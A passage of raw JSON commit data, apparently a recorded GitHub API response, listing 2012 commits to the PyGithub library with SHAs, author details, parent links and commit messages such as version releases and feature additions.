Jacques","date":"2012-04-17T10:55:16-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/f492784d8ca837779650d1fb406a1a3587a764ad","sha":"f492784d8ca837779650d1fb406a1a3587a764ad"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2a7e80e6421c5d4d201d60619068dea6bae612cb","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"2a7e80e6421c5d4d201d60619068dea6bae612cb","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0af24499a98e85f8ab2191898e8b809e5cebd4c5","sha":"0af24499a98e85f8ab2191898e8b809e5cebd4c5"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:55:02-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/2a7e80e6421c5d4d201d60619068dea6bae612cb","message":"Publish version 0.6","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:55:02-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/f492784d8ca837779650d1fb406a1a3587a764ad","sha":"f492784d8ca837779650d1fb406a1a3587a764ad"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0af24499a98e85f8ab2191898e8b809e5cebd4c5","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"0af24499a98e85f8ab2191898e8b809e5cebd4c5","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e7dca9143a23b8e2045a4a910a4a329007b10086","sha":"e7dca9143a23b8e2045a4a910a4a329007b10086"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e5ae923a68a9ae295ce5aa20b1227253de60e918","sha":"e5ae923a68a9ae295ce5aa20b1227253de60e918"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:47:43-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/0af24499a98e85f8ab2191898e8b809e5cebd4c5","message":"Merge branch 'topic/issue_21' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:47:43-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/e323899d50915b1b8bfca859ceaaa4a24db5d442","sha":"e323899d50915b1b8bfca859ceaaa4a24db5d442"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e5ae923a68a9ae295ce5aa20b1227253de60e918","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"e5ae923a68a9ae295ce5aa20b1227253de60e918","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2f64b625f7e2afc9bef61d0decb459e2ef65c550","sha":"2f64b625f7e2afc9bef61d0decb459e2ef65c550"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:47:11-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/e5ae923a68a9ae295ce5aa20b1227253de60e918","message":"Add facilities for uniform debug printing","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:47:11-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/e323899d50915b1b8bfca859ceaaa4a24db5d442","sha":"e323899d50915b1b8bfca859ceaaa4a24db5d442"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2f64b625f7e2afc9bef61d0decb459e2ef65c550","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"2f64b625f7e2afc9bef61d0decb459e2ef65c550","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/590798d349cba7de6e83b43aa5d4f8b0a38e685d","sha":"590798d349cba7de6e83b43aa5d4f8b0a38e685d"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:21:36-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/2f64b625f7e2afc9bef61d0decb459e2ef65c550","message":"Repository.permissions","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:28:18-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/23140a7b5cd3a7e6f70181775c8f56411223cf13","sha":"23140a7b5cd3a7e6f70181775c8f56411223cf13"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/590798d349cba7de6e83b43aa5d4f8b0a38e685d","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"590798d349cba7de6e83b43aa5d4f8b0a38e685d","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e7dca9143a23b8e2045a4a910a4a329007b10086","sha":"e7dca9143a23b8e2045a4a910a4a329007b10086"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:18:09-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/590798d349cba7de6e83b43aa5d4f8b0a38e685d","message":"Do not fail if Github adds an attribute in an object","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:28:17-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/2eb1bde5d5aec4c8e146cba6dbadfa862062fe59","sha":"2eb1bde5d5aec4c8e146cba6dbadfa862062fe59"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e7dca9143a23b8e2045a4a910a4a329007b10086","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"e7dca9143a23b8e2045a4a910a4a329007b10086","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/64c6a1e975e61b9c1449bed016cd19f33ee4b1c5","sha":"64c6a1e975e61b9c1449bed016cd19f33ee4b1c5"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ab3f9b422cb3043d35cf6002fc9c042f8ead8c2a","sha":"ab3f9b422cb3043d35cf6002fc9c042f8ead8c2a"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-30T05:03:15-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/e7dca9143a23b8e2045a4a910a4a329007b10086","message":"Merge branch 'topic/Recomplete' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-30T05:03:15-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/68028c858bce6e56a0123f1c7e71be5b0c0ac7f5","sha":"68028c858bce6e56a0123f1c7e71be5b0c0ac7f5"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ab3f9b422cb3043d35cf6002fc9c042f8ead8c2a","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"ab3f9b422cb3043d35cf6002fc9c042f8ead8c2a","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/632d8b63c32a2b79e87eb3b93e1ad228724de4bd","sha":"632d8b63c32a2b79e87eb3b93e1ad228724de4bd"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-30T05:02:43-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/ab3f9b422cb3043d35cf6002fc9c042f8ead8c2a","message":"NamedUser.create_gist","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-30T05:02:43-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/68028c858bce6e56a0123f1c7e71be5b0c0ac7f5","sha":"68028c858bce6e56a0123f1c7e71be5b0c0ac7f5"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/632d8b63c32a2b79e87eb3b93e1ad228724de4bd","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"632d8b63c32a2b79e87eb3b93e1ad228724de4bd","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/64c6a1e975e61b9c1449bed016cd19f33ee4b1c5","sha":"64c6a1e975e61b9c1449bed016cd19f33ee4b1c5"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-30T03:13:08-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/632d8b63c32a2b79e87eb3b93e1ad228724de4bd","message":"GitRef.delete","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-30T03:13:08-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/b733d1dab08609c2049a8490fdda25f9e68ae2bc","sha":"b733d1dab08609c2049a8490fdda25f9e68ae2bc"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/64c6a1e975e61b9c1449bed016cd19f33ee4b1c5","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"64c6a1e975e61b9c1449bed016cd19f33ee4b1c5","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/936f4a97f1a86392637ec002bbf89ff036a5062d","sha":"936f4a97f1a86392637ec002bbf89ff036a5062d"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/99963536fc81db3b9986c761b9dd08de22089aa2","sha":"99963536fc81db3b9986c761b9dd08de22089aa2"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-30T03:10:06-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/64c6a1e975e61b9c1449bed016cd19f33ee4b1c5","message":"Merge branch 'topic/GenerateReferenceOfApis' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-30T03:10:06-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/623fd43b5299b8707a3b10def154f6725b31361c","sha":"623fd43b5299b8707a3b10def154f6725b31361c"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/99963536fc81db3b9986c761b9dd08de22089aa2","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"99963536fc81db3b9986c761b9dd08de22089aa2","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8d57522bbd15d1fb6b616fae795cd8721deb1c4d","sha":"8d57522bbd15d1fb6b616fae795cd8721deb1c4d"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-30T03:09:05-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/99963536fc81db3b9986c761b9dd08de22089aa2","message":"GenerateReferenceOfApis.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-30T03:09:05-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/623fd43b5299b8707a3b10def154f6725b31361c","sha":"623fd43b5299b8707a3b10def154f6725b31361c"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8d57522bbd15d1fb6b616fae795cd8721deb1c4d","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"8d57522bbd15d1fb6b616fae795cd8721deb1c4d","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1140a91f3e45d09bc15463724f178a7ebf8e3149","sha":"1140a91f3e45d09bc15463724f178a7ebf8e3149"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-30T03:08:51-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/8d57522bbd15d1fb6b616fae795cd8721deb1c4d","message":"Rename GenerateDocumentation.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-30T03:08:51-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/8eafa52103271d36b1a46e056716f29af46ccb41","sha":"8eafa52103271d36b1a46e056716f29af46ccb41"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1140a91f3e45d09bc15463724f178a7ebf8e3149","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"1140a91f3e45d09bc15463724f178a7ebf8e3149","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/936f4a97f1a86392637ec002bbf89ff036a5062d","sha":"936f4a97f1a86392637ec002bbf89ff036a5062d"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-30T03:07:51-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/1140a91f3e45d09bc15463724f178a7ebf8e3149","message":"Normalize ReferenceOfApis.md","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-30T03:07:51-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/6621cb8c710645471b3235cfa7e34eaf1a424320","sha":"6621cb8c710645471b3235cfa7e34eaf1a424320"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/936f4a97f1a86392637ec002bbf89ff036a5062d","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"936f4a97f1a86392637ec002bbf89ff036a5062d","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a3be28756101370fbc689eec3a7825c4c385a6c9","sha":"a3be28756101370fbc689eec3a7825c4c385a6c9"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e10470481795506e2c232720e2a9ecf588c8b567","sha":"e10470481795506e2c232720e2a9ecf588c8b567"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T13:50:17-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/936f4a97f1a86392637ec002bbf89ff036a5062d","message":"Merge branch 'develop'","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T13:50:17-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/f315f93b637cbd7883c1aed5b58f12d4a812ff26","sha":"f315f93b637cbd7883c1aed5b58f12d4a812ff26"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e10470481795506e2c232720e2a9ecf588c8b567","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"e10470481795506e2c232720e2a9ecf588c8b567","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e456549e5265406f8090ae5145255c8ca9ea5e4e","sha":"e456549e5265406f8090ae5145255c8ca9ea5e4e"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T13:49:21-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/e10470481795506e2c232720e2a9ecf588c8b567","message":"Publish version 0.5","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T13:49:21-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/f315f93b637cbd7883c1aed5b58f12d4a812ff26","sha":"f315f93b637cbd7883c1aed5b58f12d4a812ff26"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e456549e5265406f8090ae5145255c8ca9ea5e4e","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"e456549e5265406f8090ae5145255c8ca9ea5e4e","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2469c6e1aeb7919126a8271f6980b555b167e8b0","sha":"2469c6e1aeb7919126a8271f6980b555b167e8b0"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a91131be42eb328ae030f584af500f56aa08424b","sha":"a91131be42eb328ae030f584af500f56aa08424b"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T12:02:07-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/e456549e5265406f8090ae5145255c8ca9ea5e4e","message":"Merge branch 'topic/CompleteImplementation' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T12:02:07-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/c11065b6df8d201a09bd24f1b3e4b2f9f57a8321","sha":"c11065b6df8d201a09bd24f1b3e4b2f9f57a8321"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a91131be42eb328ae030f584af500f56aa08424b","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"a91131be42eb328ae030f584af500f56aa08424b","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2469c6e1aeb7919126a8271f6980b555b167e8b0","sha":"2469c6e1aeb7919126a8271f6980b555b167e8b0"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T12:00:36-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/a91131be42eb328ae030f584af500f56aa08424b","message":"Finaly do a poor implementation of Github.get_gists","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T12:01:46-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/c11065b6df8d201a09bd24f1b3e4b2f9f57a8321","sha":"c11065b6df8d201a09bd24f1b3e4b2f9f57a8321"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2469c6e1aeb7919126a8271f6980b555b167e8b0","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"2469c6e1aeb7919126a8271f6980b555b167e8b0","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a0cc821c1beada4aa9ca0d5218664c5372720936","sha":"a0cc821c1beada4aa9ca0d5218664c5372720936"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a655d0424135befd3a0d53f3f7eff2d1c754854f","sha":"a655d0424135befd3a0d53f3f7eff2d1c754854f"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T12:01:32-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/2469c6e1aeb7919126a8271f6980b555b167e8b0","message":"Merge branch 'topic/RestoreTests' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T12:01:32-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/b88afa928c59940b2c88faa1a9a9826e50ea83ef","sha":"b88afa928c59940b2c88faa1a9a9826e50ea83ef"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a655d0424135befd3a0d53f3f7eff2d1c754854f","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"a655d0424135befd3a0d53f3f7eff2d1c754854f","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ce62e91268aa34dad0ba0dbee4769933e3a71e50","sha":"ce62e91268aa34dad0ba0dbee4769933e3a71e50"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T11:49:56-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/a655d0424135befd3a0d53f3f7eff2d1c754854f","message":"Improve integration tests coverage","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent 